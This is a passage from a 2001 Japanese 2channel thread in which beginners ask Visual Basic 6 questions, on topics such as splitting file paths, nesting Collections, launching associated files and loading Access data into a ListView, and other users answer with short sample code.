863デフォルトの名無しさん:2001/05/21(月) 02:00
split-path>861
864デフォルトの名無しさん:2001/05/21(月) 02:01
ゴメン追記。
最後まで行って変数Aがマイナス1のままだったら¥が無かったってことね。
エラー処理してください。
あと変数Aの初期値は有り得ない数だったらマイナス1じゃなくても何でもいいです。
865デフォルトの名無しさん:2001/05/21(月) 02:03
>>863
ギャ。そんな便利な命令があるんですか。
VBっていいですね。
鬱駄氏脳
866デフォルトの名無しさん:2001/05/21(月) 07:46
全部API一発で出来るよ・・・。
PathRemoveExtensionとか
867861:2001/05/21(月) 11:15
>>862さん
ありがとうございます。
でもちょっと面倒なのでそれはやりたくないです。
あと、VBでは2バイト文字も1文字として扱われるみたい。

>>861さん
Splitはわかるのですがpathってのがわかんない。

>>866
VBでAPI使ったことないですー。(氏
868名無しおやぢ:2001/05/21(月) 11:32
>>861

Instr関数を使うもよし、FileSystemObjectでもたぶんできそう・・・。
もし、自分でやり方がわからなくても、WEBで検索すればこの程度の
サンプルコードは腐るほどたくさんあるので、コピペすれば問題なし。(W

・・・王さんのホームラン数とおなじだから、キリ番かな? (^^;
869861:2001/05/21(月) 11:40
>>868
んん〜、いけずぅ.

仕方ないから作ってしまたわ。

Function ExtractFileName(FullPath As String) As String
Dim FileNameArray() As String

FileNameArray = Split(FullPath, "\")
ExtractFileName = FileNameArray(UBound(FileNameArray))
End Function

Function ExtractFilePath(FullPath As String) As String
Dim FileNameArray() As String
Dim i As Integer

FileNameArray = Split(FullPath, "\")
For i = 0 To UBound(FileNameArray) - 1
ExtractFilePath = ExtractFilePath & FileNameArray(i) & "\"
Next i
End Function

Private Sub Command1_Click()
MsgBox ExtractFileName("C:\Documents and Settings\Default User\Favorites\メディア\メディア ガイド.url")
MsgBox ExtractFilePath("C:\Documents and Settings\Default User\Favorites\メディア\メディア ガイド.url")

End Sub

サンプルコードが腐るほど沢山あるページのリンク先
お・ね・が・ヰ・♥
870>>869:2001/05/21(月) 16:54
関数名が Delphi 使いっぽいや(w
でも、どっちも配列にバラすよりは InstrRev 使った方が速いよきっと

Public Function ExtractFileName(Path As String) As String
ExtractFileName = Right$(Path, Len(Path) - InStrRev(Path, "\"))
End Function

Public Function ExtractFilePath(Path As String) As String
ExtractFilePath = Left$(Path, InStrRev(Path, "\"))
End Function

こんな感じ
871デフォルトの名無しさん:2001/05/21(月) 18:16
FileSystemObject使うとこんな感じなのかな?
#これだけのためにFileSystemObject使うのは無駄な気がするけど。

Public Function ExtractFileName(ByVal Path As String) As String
Dim fso As New FileSystemObject
If fso.FileExists(Path) Then
ExtractFileName = fso.GetFile(Path).Name
Else
ExtractFileName = ""
End If
End Function

Public Function ExtractFilePath(ByVal Path As String) As String
Dim fso As New FileSystemObject
If fso.FileExists(Path) Then
ExtractFilePath = fso.GetFile(Path).ParentFolder
Else
ExtractFilePath = ""
End If
End Function
872861:2001/05/22(火) 14:25
♪あ・り・が・と・?x266b;
>>870
エレガントで・す・て・き♥LOVE

>>871
ファイル存在チェックがよさげ♣
でもFileSystemObjectの使い方がわかんなかったわYO
ここみて調べたわ。
http://user3.allnet.ne.jp/tadnakam/Vb/Controls/Object/FileSystemObject.htm
873デフォルトの名無しさん:2001/05/22(火) 22:01
よろしくおねがいします。
コレクションのコレクションを作ってみたいのですが

Private Sub Command3_Click()
Dim i As Integer
Dim j As Integer
Dim ICol As New Collection
Dim JCol As Collection

For i = 1 To 3
JCol = New Collection
For j = 1 To 3
JCol.Add (CStr(j))
Next j
ICol.Add (JCol)
Next i

End Sub

うまくうごきません。
なぜでしょうか。よろしくおねがいします。
874>873:2001/05/22(火) 22:54
これで動いたよ

For i = 1 To 3
Set JCol = New Collection 'オブジェクトは Set だよ
For j = 1 To 3
JCol.Add CStr(j) 'まぁここは直さなくてもいいが
Next j
ICol.Add JCol 'ここはカッコを外さないとダメなのよん
Next i

戻り値のない関数・メソッドに引数を渡すときはカッコを付けちゃいけないんだよ
どうしてもカッコで囲みたい場合は Call hoge(param) って書き方も出来るけどね
Set の使い方はヘルプ見てね
875デフォルトの名無しさん:2001/05/22(火) 23:09
>>873
こんなところかな?
#説明がちょっと自信ないけど...

Private Sub Command3_Click()
  Dim i As Integer
  Dim j As Integer
  Dim ICol As New Collection
  Dim JCol As Collection
  
  For i = 1 To 3
    Set JCol = New Collection  ' オブジェクト変数に直接オブジェクトを代入することはできない。
    For j = 1 To 3
      JCol.Add (CStr(j))
    Next j
    ICol.Add JCol  ' Callステートメントを省略するときは、プロシージャへの引数を囲む()も省略する。
  Next i
End Sub
876875:2001/05/22(火) 23:15
>  ICol.Add JCol ' Callステートメントを省略するときは、プロシージャへの引数を囲む()も省略する。
プロシージャじゃなくて、メソッドだな。
宇津山車...
877VB丁稚:2001/05/23(水) 00:20
>>853

同じ名前のコンボボックスコントロールをフォーム上に配置しようとして、
コントロールのコレクションになってませんか?

>Combo.Item(0).Text
「Comboって名前のコレクションの0番目のメンバーのTextプロパティ」
にアクセスしているように見えます。
878VB丁稚:2001/05/23(水) 00:45
>>877
コレクションじゃなくて「コントロール配列」だ。
#何で「配列」なんだろ。
879デフォルトの名無しさん:2001/05/23(水) 10:47
>>874-878
ありがとうございます。
SetやCallの使い方がまだ出来ていなかった。

またわからないです。

Private Sub Command3_Click()
 Dim i As Integer
 Dim j As Integer
 Dim ICol As New Collection
 Dim JCol As Collection

 For i = 1 To 3
  Set JCol = New Collection
  For j = 1 To 3
   JCol.Add ("i=" & CStr(i) & " j=" & CStr(j))
  Next j
  ICol.Add CStr(i)
 Next i
 
 For i = 1 To ICol.Count
  JCol = ICol.Item(i)
  For j = 1 To JCol.Count
   MsgBox JCol.Item(j)
  Next j
 Next i

End Sub

後半のFor i=1のループが動作しません。
JCol = ICol.Item(i)
というのがダメみたいなんだけど、
どうやったら出来るのでしょうか?
880デフォルトの名無しさん:2001/05/23(水) 10:47
ageわすれですスマソ
881879:2001/05/23(水) 11:01
>>879

ごめん、できました。

>  ICol.Add CStr(i)
Icol.Add JCol
ですね。

よかった。
882デフォルトの名無しさん :2001/05/23(水) 11:06
For i = 1 To 3
    Set JCol = New Collection
    For j = 1 To 3
        JCol.Add ("i=" & CStr(i) & " j=" & CStr(j))
    Next j
    ICol.Add JCol
Next i

For i = 1 To ICol.Count
    Set JCol = ICol.Item(i)
    For j = 1 To JCol.Count
        MsgBox JCol.Item(j)
    Next j
Next i
883デフォルトの名無しさん:2001/05/23(水) 12:05
初心者です。
VBを窓Meで使ってるのですが、コード書いているときに
マウスのホイールが使えないのはバグかなんかでしょうか。
ほかの窓Me使いさんはどうでしょう。
884デフォルトの名無しさん:2001/05/23(水) 12:50
窓Meと書かれるとむかつくのはわたしだけでしょうか。
ほかの窓Me使いさんはどうでしょう。
885デフォルトの名無しさん:2001/05/23(水) 14:48
すみません。
WindowsMe。
886デフォルトの名無しさん:2001/05/23(水) 15:08
>>883
インテリポイントのドライバをアップデートすればいいらしいよ。
887デフォルトの名無しさん:2001/05/23(水) 15:16
>>884
窓目
888:2001/05/23(水) 16:33
音の波形を設定したりして
いろんな音を作ったりするプログラムを作りたいんだけど。
VBでこんなことって出来る?
889デフォルトの名無しさん:2001/05/23(水) 16:58
waveOutWrite
890888:2001/05/23(水) 17:04
>>889
BV暦一ヶ月ちょいなんで意味わかりません。
もうちょっと詳しく教えてください。
891デフォルトの名無しさん:2001/05/23(水) 17:11
俺にもBV教えてくれ。
892デフォルトの名無しさん:2001/05/23(水) 17:15
すいません、コレクションの続きにて
任意のItemに文字列を代入したいのですが、出来ません。
(オブジェクトが無いというようなエラーが発生します。

以下のようなプログラムを動かしています
Private Sub Command3_Click()
 Dim i As Integer
 Dim j As Integer
 Dim ICol As New Collection
 Dim JCol As Collection

 For i = 1 To 3
  Set JCol = New Collection
  For j = 1 To 3
   JCol.Add ("i=" & CStr(i) & " j=" & CStr(j))
  Next j
  ICol.Add JCol
 Next i
 
 For i = 1 To ICol.Count
  Set JCol = (ICol.Item(i))
  For j = 1 To JCol.Count
   MsgBox JCol.Item(j)
   JCol.Item(j) = "iは" & CStr(i) & " jは" & CStr(j)
  Next j
 Next i

End Sub

JCol.Item(j)の所がわかりません。

どのようにするとよろしいのでしょうか?
よろしくお願いします。

追伸
>>882さんありがとう。
893デフォルトの名無しさん:2001/05/23(水) 17:16
またアげ忘れてました。
894デフォルトの名無しさん:2001/05/23(水) 17:17
comboboxが2つあって、and条件でできるようにしたいのですが、どうすれば
いいのですか?
宜しくお願いします。
895デフォルトの名無しさん:2001/05/23(水) 17:34
>>890
俺にも教えれ
896デフォルトの名無しさん:2001/05/23(水) 17:36
×and条件でできるようにしたいのですが
○and条件で<*****を>できるようにしたいのですが

プログラムより日本語勉強しな
897894:2001/05/23(水) 17:42
>>896
すみません。

アクセスを使って名簿を作りたいのですが、combobox1であ行、か行・・・
を選択し、combobox2で年代を選択し、双方に当てはまる人を抽出したいのです。
どうすればいいのでしょう?
898デフォルトの名無しさん:2001/05/23(水) 17:53
SELECT文教えれって?
スレ違いだよ
899894:2001/05/23(水) 17:55
そうなのですか・・・。
すみません。
よく分かっていません。
900892:2001/05/23(水) 17:57
すいません、
私のもお願いします。

コレクションに入れたオブジェクトって
入れ替えは無理なんでしょうか。
RemoveしてAddするだけじゃ
順番が変わってしまって困ってます。

どうしたら・・・・・・・・・・・・・・・・・・・
901デフォルトの名無しさん:2001/05/23(水) 18:05
>>899
って、これガッコの宿題レベルだろ?

>>900
配列にすれば
902デフォルトの名無しさん:2001/05/23(水) 18:06
できません。
じゃ冷たいんで。自分はシーケンス付きがいる時は、ユーザCollection
を作るな。
903デフォルトの名無しさん:2001/05/23(水) 18:18
ていうか、タダの文字列をなんでコレクションにしたいの?
コレクションて、オブジェクトのコレクションよ。わかってる?
904892:2001/05/23(水) 18:22
うーん、文字列コレクションなどというものはあるのでしょうか?

なぜInsertがないのでしょう.....
905デフォルトの名無しさん:2001/05/23(水) 18:23
>>900
コレクションに入れるときに、ちゃんと文字列でキーをつけたら?
906デフォルトの名無しさん:2001/05/23(水) 18:26
>>905
VBじゃ
Dim sptr as String
set sptr = new as String

ってできないから、コレクションにつっこむ意味あるの?
907デフォルトの名無しさん:2001/05/23(水) 18:51
>>904
>なぜInsertがないのでしょう.....
Addプロシージャにbeforeやafterって引数あるけど?

>>906
>ってできないから、コレクションにつっこむ意味あるの?
あまり....
keyがつけられるから連想配列代わり?
なんで配列じゃなくてコレクションに入れたいのかってのは、
892に聞いてくださいな。
908892:2001/05/23(水) 18:54
だって、データの数が不定なので、配列はきついかなと。
動的配列でReDimばっかするのもいやだったので。

Addをしらべてみます。

教えてくれてありがとうございます。
909デフォルトの名無しさん:2001/05/23(水) 18:56
新スレの予感
910デフォルトの名無しさん:2001/05/23(水) 20:44
APIって何?
VBとの違いはあるの?
911デフォルトの名無しさん:2001/05/23(水) 20:48
VBから見れば、APIは拡張命令みたいなものと言えるかもしれませんね。
取り扱いは厄介ですが、使えるようになるとVBでできることの幅がグンと広がります。
912889:2001/05/23(水) 20:51
スマン。出来なくはないとも思うがVBでは難しい。
913889:2001/05/23(水) 20:57
つまりメモリブロックを取得してロックしてヘッダを準備
して・・・とお膳立てがかなり面倒なのよ。
914デフォルトの名無しさん:2001/05/24(木) 00:18
>>889
親切に教えてくれてどうもありがとうございました。
でも難しそうなのでやっぱいいです。
915デフォルトの名無しさん:2001/05/24(木) 00:33
これだからVB厨房は・・
916デフォルトの名無しさん:2001/05/24(木) 01:25
>>915
な?相手にしないほうがいいだろ?
917ろくろ:2001/05/24(木) 11:02
始めまして先生方
VB上から関連づけされたプログラムを起動するには
どうしたらよいのですか?
c:\>start data.txt
で開くような感じでVBから起動したいのですが。
918デフォルトの名無しさん:2001/05/24(木) 11:53
>>917
Shell Environ("COMSPEC") & " /c start " & "data.txt"
919デフォルトの名無しさん:2001/05/24(木) 12:15
>>917

%COMSPEC% を使う方法だと、コマンドプロンプトが開いちゃうので、
ShellExecute()を使うのが吉。
920デフォルトの名無しさん:2001/05/24(木) 12:40
そろそろ新スレだな。今度はタイトルに記号使うなよ。
じゃないと本当に隔離されちゃうぞ。
921VBer:2001/05/24(木) 14:17
AccessのデータをListViewに表現する方法を教えてください。
VBとAccessはADOでつないでいて、Accessにはテーブルが2つ(リレーション)
をはってあります。
おそらく、データをLoop等で入れると思うのですが、やり方(できれば
具体的ソースコードで)をお願いできないでしょうか?
 また、挿入された(Access)データに対してDblClickすることで
例えば、選ばれた行データ(テーブル1)の詳細データ(テーブル2)を
Form2等に表現する方法を教えてください。
つたない説明ですが、どうかお願いします。
922デフォルトの名無しさん:2001/05/24(木) 14:41
>>921
つたなくないけど、それって質問じゃなくて
「お仕事お願い」だと思う
923デフォルトの名無しさん:2001/05/24(木) 14:56
>>922
激しく同意
924デフォルトの名無しさん:2001/05/24(木) 16:49
>>921
・ADOでConnectionを作成
・RecodSetを開く
・Do〜Loopでレコードセットの末尾までループ
  ・リストビューのリストアイテムをAdd
  ・リストアイテムのサブアイテムにテキストを設定

・リストビューのダブルクリックイベントで選択されたアイテムを取得
・キーをForm2に渡す
・キーを使って詳細テーブルからレコード取得
・取得したレコードの内容を表示

具体的なやり方は調べてね。
925921:2001/05/24(木) 17:22
>>924
ありがとうございます。
とりあえず、調べてがんばります。
926デフォルトの名無しさん:2001/05/24(木) 17:48
隠し関数で存在しているVBのポインタはどういうときに使うのですか?
927ろくろ:2001/05/24(木) 19:50
918-919さんありがとうございました。
無事解決しました(笑
928デフォルトの名無しさん:2001/05/24(木) 20:18
>>926
APIに渡すとき、だね。
929疲れ倍増!:2001/05/25(金) 10:02
2ちゃんねる好き同僚作の社内ツール

#Const CH2 = True
Private Sub Command1_Click()
#If CH2 Then
MsgBox "(=゚ω゚)ノ ぃょぅ"
#Else
MsgBox "こんにちは"
#End If
End Sub

・・・こんなんばっかし・・・鬱だ・・・
930デフォルトの名無しさん:2001/05/28(月) 19:40
ageちゃる
931ちゃっぴー:2001/05/28(月) 20:10
ど初心者ですんません(汗

フォームにテキストボックスを1つ作って、
テキストボックスに適当なファイルとD&Dすると、
テキストボックス内にD&Dしたファイルのパスを表示する
というものを作りたいのですが、
どうすればいいのかどうにもこうにも(T−T
932デフォルトの名無しさん
2が出来てるんだから移行しよう

======== 終了 ========